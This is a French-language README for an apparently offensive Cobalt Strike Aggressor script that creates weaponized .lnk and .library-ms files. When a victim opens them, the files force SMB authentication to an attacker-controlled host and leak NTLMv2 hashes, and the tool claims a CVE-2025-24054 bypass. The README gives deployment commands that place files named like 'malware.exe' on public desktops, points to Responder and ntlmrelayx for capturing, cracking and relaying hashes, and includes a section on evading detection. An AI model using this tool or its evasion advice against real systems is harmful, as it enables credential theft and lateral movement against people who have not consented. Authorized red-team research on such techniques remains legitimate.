LNK Weaponizer - Script Aggressor pour Cobalt Strike
Un script Aggressor complet pour Cobalt Strike qui weaponise et exécute des fichiers LNK malveillants et des fichiers Library-MS pour la divulgation de hachage NTLMv2-SSP SMB. Inclut les techniques de contournement CVE-2025-24054.
⚠️ AVERTISSEMENT
Cet outil est destiné uniquement à des fins éducatives et de recherche. L'auteur décline toute responsabilité en cas d'utilisation abusive de ce code. Utilisez-le uniquement sur des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Capture des hachages NTLM
Ce script génère des fichiers .lnk et .library-ms weaponisés qui déclenchent une authentification SMB vers l'hôte de l'opérateur lorsqu'ils sont ouverts.
Les hachages NTLMv2 divulgués ne sont pas affichés dans Cobalt Strike, mais doivent être capturés avec des outils externes tels que Responder, ntlmrelayx.py d'Impacket ou Inveigh exécutés sur le système attaquant.
Une fois collectés, les hachages peuvent être crackés avec Hashcat ou relayés pour un mouvement latéral supplémentaire.
🎯 Fonctionnalités
- Weaponisation de fichiers LNK : Crée des fichiers de raccourci malveillants pour la capture de hachage NTLM
- Création de fichiers Library-MS : Implémente la technique de contournement CVE-2025-24054
- Intégration dans le menu contextuel : Accès facile via le menu contextuel du beacon de Cobalt Strike
- Interface en ligne de commande : Commandes directes pour l'automatisation et le scripting
- Boîtes de dialogue interactives : Saisie de paramètres conviviale
- Déploiement rapide : Paramètres préconfigurés pour un déploiement rapide
- Configuration globale : Personnalisation facile des paramètres par défaut
📁 Structure du projet
cobalt-strike-aggressor/
├── lnk_weaponizer.cna # Script Aggressor principal (v2.0)
├── standalone_lnk_weaponizer.ps1 # Version PowerShell autonome
├── README.md # Cette documentation
├── INSTALL.md # Guide d'installation et de configuration
└── examples/
├── usage_scenarios.md # Exemples d'utilisation pratiques
└── sample_targets.csv # Fichier d'opérations par lots exemple
🚀 Installation
- Copiez
lnk_weaponizer.cna dans votre répertoire de scripts Aggressor de Cobalt Strike
- Chargez le script dans Cobalt Strike :
- Allez dans
Cobalt Strike → Script Manager
- Cliquez sur
Load et sélectionnez lnk_weaponizer.cna
- Le script s'initialisera automatiquement et affichera les commandes disponibles
📖 Utilisation
Faites un clic droit sur n'importe quel beacon dans Cobalt Strike pour accéder à :
- Créer un fichier LNK : Boîte de dialogue interactive pour la création personnalisée de LNK
- Créer un fichier Library-MS : Boîte de dialogue interactive pour la création de Library-MS (contournement CVE-2025-24054)
- LNK rapide (paramètres par défaut) : Déploiement rapide de LNK avec des valeurs prédéfinies
- Library-MS rapide (paramètres par défaut) : Déploiement rapide de Library-MS avec des valeurs prédéfinies
Commandes en ligne de commande
Commandes pour les fichiers LNK
# Créer un fichier LNK avec des paramètres personnalisés
lnk_create <chemin> <ip> <partage> <fichier>
# Exemple
lnk_create C:\Temp 192.168.1.10 share payload.exe
Commandes pour les fichiers Library-MS
# Créer un fichier Library-MS avec des paramètres personnalisés
library_create <chemin> <ip> <partage>
# Exemple
library_create C:\Temp 10.10.14.22 share
Commandes rapides
# Utiliser les paramètres par défaut
lnk_quick
library_quick
# Afficher l'aide
lnk_help
🔧 Configuration
Paramètres par défaut
Le script utilise ces valeurs par défaut configurables :
- IP :
192.168.1.10
- Partage :
share
- Chemin :
C:\Temp
Personnalisation des paramètres par défaut
Modifiez les variables globales dans lnk_weaponizer.cna :
global('$default_ip $default_share $default_path');
$default_ip = "192.168.1.10";
$default_share = "share";
$default_path = "C:\\Temp";
Technique du fichier LNK
- Génération de script PowerShell : Crée un script PowerShell qui génère le fichier LNK malveillant
- Création du fichier LNK : Utilise l'objet COM Windows Shell pour créer un raccourci pointant vers un emplacement SMB distant
- Déclenchement d'icône : Force l'Explorateur à récupérer l'icône PE d'un binaire distant, déclenchant l'authentification NTLM
- Capture de hachage : Le hachage NTLMv2-SSP est capturé lorsque l'utilisateur interagit avec le fichier
Technique Library-MS (contournement CVE-2025-24054)
- Génération XML : Crée un fichier XML Library-MS avec une référence de chemin UNC
- Création de fichier : Génère un fichier
.library-ms dans le répertoire cible
- Interaction utilisateur : Lorsque l'utilisateur double-clique sur le fichier Library-MS, Windows tente d'accéder au chemin UNC
- Déclenchement d'authentification : L'authentification SMB est déclenchée, capturant le hachage NTLM
Détails techniques
Les deux techniques créent des fichiers qui :
- Pointent vers des emplacements SMB distants
- Déclenchent l'authentification lorsqu'ils sont consultés
- Contournent les contrôles de sécurité courants
- Fournissent une capture de hachage fiable
Le script fournit une journalisation détaillée :
[+] Création du fichier LNK sur TARGET-COMPUTER
[+] Cible UNC : \\192.168.1.10\share\payload.exe
[+] Chemin local : C:\Temp
[+] Weaponisation LNK terminée
[!] Attendez que l'utilisateur clique sur le fichier LNK pour capturer le hachage NTLM
🛡️ Considérations de sécurité
Évitement de détection
- Utilisez des noms de partage et des chemins d'apparence légitime
- Tenez compte du moment du déploiement pour éviter la détection
- Surveillez les alertes des outils de sécurité
- La technique Library-MS offre une évasion supplémentaire
Sécurité opérationnelle
- Utilisez des serveurs SMB dédiés pour la collecte de hachages
- Mettez en place une journalisation et une surveillance appropriées
- Suivez les procédures de l'équipe rouge de votre organisation
- Documentez toutes les activités de test
- Assurez-vous d'avoir une autorisation appropriée avant de tester
- Documentez toutes les activités de test
- Respectez le périmètre et les limites
🔍 Dépannage
Problèmes courants
-
Beacon non trouvé
- Assurez-vous que l'ordinateur cible a un beacon actif
- Vérifiez l'orthographe du nom de l'ordinateur dans les opérations par lots
-
Permission refusée
- Vérifiez les autorisations d'écriture sur le chemin cible
- Vérifiez les paramètres UAC sur le système cible
-
Stratégie d'exécution PowerShell
- Le script utilise
bpowershell() pour gérer les restrictions
- Assurez-vous que PowerShell est disponible sur la cible
Mode débogage
Activez la sortie verbose en modifiant le script :
# Ajouter une journalisation de débogage
blog($bid, "[DEBUG] Exécution de la commande : " . $command);
📝 Exemples
Scénario 1 : Déploiement de fichier LNK
# Créer un fichier LNK sur une cible spécifique
lnk_create C:\Users\Public\Desktop 10.0.0.5 public malware.exe
Scénario 2 : Contournement Library-MS
# Créer un fichier Library-MS pour le contournement CVE-2025-24054
library_create C:\Users\Public\Desktop 192.168.1.100 share
Scénario 3 : Attaque rapide
# Utiliser les paramètres par défaut pour un déploiement rapide
lnk_quick
library_quick
🔬 Techniques avancées
Contournement CVE-2025-24054
La technique Library-MS implémente un contournement de CVE-2025-24054 en :
- Utilisant le format de fichier Library-MS au lieu des fichiers LNK traditionnels
- Tirant parti du système de bibliothèques Windows pour les déclencheurs d'authentification
- Fournissant des capacités d'évasion supplémentaires
Stratégies d'évasion
- Nommage des fichiers : Utilisez des noms et extensions réalistes
- Sélection du chemin : Déployez dans les répertoires utilisateur courants
- Calendrier : Exécutez pendant les heures normales de travail
- Rotation : Variez les IP des serveurs SMB et les noms de partage
🤝 Contribution
- Forkez le dépôt
- Créez une branche de fonctionnalité
- Apportez vos modifications
- Testez minutieusement
- Soumettez une pull request
📄 Licence
Ce projet est fourni en l'état à des fins éducatives. Utilisez-le de manière responsable et conformément aux lois et réglementations applicables.
🙏 Remerciements
- L'équipe Cobalt Strike pour le framework Aggressor
- La communauté de l'équipe rouge pour les tests et les retours
- Les chercheurs en sécurité qui ont été les pionniers des attaques basées sur les fichiers LNK
- Les contributeurs à la recherche sur CVE-2025-24054
Rappel : Obtenez toujours une autorisation appropriée avant de tester sur un système.